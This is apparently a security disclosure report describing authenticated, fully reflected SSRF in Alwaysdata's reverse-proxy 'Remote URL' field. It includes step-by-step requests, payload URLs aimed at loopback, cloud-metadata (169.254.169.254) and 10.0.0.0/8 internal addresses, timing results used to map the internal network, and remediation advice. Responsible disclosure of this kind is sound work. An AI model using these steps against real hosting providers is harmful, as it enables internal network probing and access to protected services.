|
Task Description
Summary The Reverse proxy site type exposes a server-side URL field (url), which corresponds to the field referred to as script_upstream_uri in the disclosed tracker bugs.
An authenticated customer (Free plan) can set this upstream URL to an arbitrary destination. Alwaysdata's shared proxy/backend infrastructure (alproxy) then fetches the configured URL on every request to the site and returns the full upstream response body to the requester (reflected, not blind).
Live testing shows: There is no save-time guard. Plain internal targets such as http://127.0.0.1:80/ and http://169.254.169.254/ are accepted with no validation error and are actually attempted by the infrastructure. The upstream response is fully reflected to the requester. The fetch node routes into the 10.0.0.0/8 internal datacenter network, demonstrated by a fast RST to 10.0.0.1 versus ~20 second timeouts to 192.168.0.0/16 and 172.16.0.0/12.
Affected Component Endpoint: https://admin.alwaysdata.com/site/<id>/
Site type: reverse_proxy
Field: url ("Remote URL")
The endpoint is reachable with the ordinary web session cookie; no API token or 2FA is required.
The fetch is executed by Alwaysdata infrastructure. Responses carry:
via: 1.1 alproxy
For external upstreams, a second hop was also observed:
mchunt.alwaysdata.net
Egress infrastructure IPs observed at Collaborator:
185.31.40.97 — DNS 185.31.41.11 — HTTP Steps to Reproduce
Preconditions: Web session for account A and a Burp Collaborator host $C.
1. Log in
GET /login/
Grab the CSRF token and then:
POST /login/
with:
csrfmiddlewaretoken login password
The response sets the sessionid cookie.
2. Render the reverse_proxy subform
GET /site/1072866/?_field_type=reverse_proxy
This reveals the field:
url
labelled "Remote URL".
3. Save the site as a reverse proxy pointing at the attacker
Re-serialize the form and submit:
POST /site/1072866/
with:
type=reverse_proxy&url=http://poc.$C/upstream
plus the addresses formset.
Response:
302 → /site/
The configuration is accepted with no validation error.
Wait approximately 20 seconds for the install task.
4. Trigger the fetch
GET http://mchunt.alwaysdata.net/reqpath
The response body is the Collaborator's response.
Response headers show:
server: Burp Collaborator via: 1.1 alproxy
Collaborator logs a DNS + HTTP interaction originating from Alwaysdata infrastructure.
5. Internal differential
Repeat step 3 with the following upstream URLs and re-request the site:
http://127.0.0.1:80/
→ HTTP 404 "Site not found", via: 1.1 alproxy, 1.1 alproxy, <1 second.
http://127.0.0.1:6379/
→ 503 in ~0.6 seconds (connection refused).
http://169.254.169.254/…
→ 503 after ~20 seconds (link-local not routable; no AWS/OpenStack IMDS).
http://10.0.0.1/
→ 503 in ~1.5 seconds (fast RST → host on the internal segment).
http://192.168.0.1/ http://172.16.0.1/
→ 503 after ~20 seconds (filtered / no route).
In every case, the save succeeds with no guard error and the reachable body is reflected back.
6. Redirect behavior
Using:
url=http://google.com/
returns the raw:
301 Moved
upstream response.
The proxy does not follow redirects, so the FS#460 redirect-follow variant does not apply here.
PoC poc/ssrf_reverse_proxy_reflected.sh Helpers:
rp_edit.py form_submit.py Evidence
External reflected read (request-time): Collaborator HTTP log:
GET /upstream/reqtime HTTP/1.1 Host: rpsave.<collab> via: 1.1 alproxy, 1.1 mchunt.alwaysdata.net X-Forwarded-For: <my-ip> X-Forwarded-Host: mchunt.alwaysdata.net
→ HTTP 200, with the upstream body reflected to me.
No-guard save:
POST /site/1072866/
with:
url=http://169.254.169.254/latest/meta-data/
Response:
302 → /site/
The save succeeds.
Re-reading the edit form shows:
name="url" value="http://169.254.169.254/latest/meta-data/"
The internal reachability differential described above demonstrates that the fetch node is on / routes to the 10.0.0.0/8 network.
Impact
This provides authenticated SSRF from Alwaysdata's shared proxy/backend infrastructure with full response reflection.
The fetch node routes into the internal 10.0.0.0/8 datacenter network.
Demonstrated impact:
Reflected full-read SSRF Internal network reachability
Remediation Apply an egress allow/deny policy on the reverse_proxy upstream fetch.
Specifically:
Reject upstreams that resolve to loopback, link-local, RFC1918 and Alwaysdata's own infrastructure ranges at save time. Re-validate the destination after every DNS resolution and redirect. Firewall the proxy/backend fetchers off the internal 10.0.0.0/8 control network to prevent internal network reachability. Confirm that the FS#460 /461/462 guard is actually wired into the live reverse_proxy fetch path.
|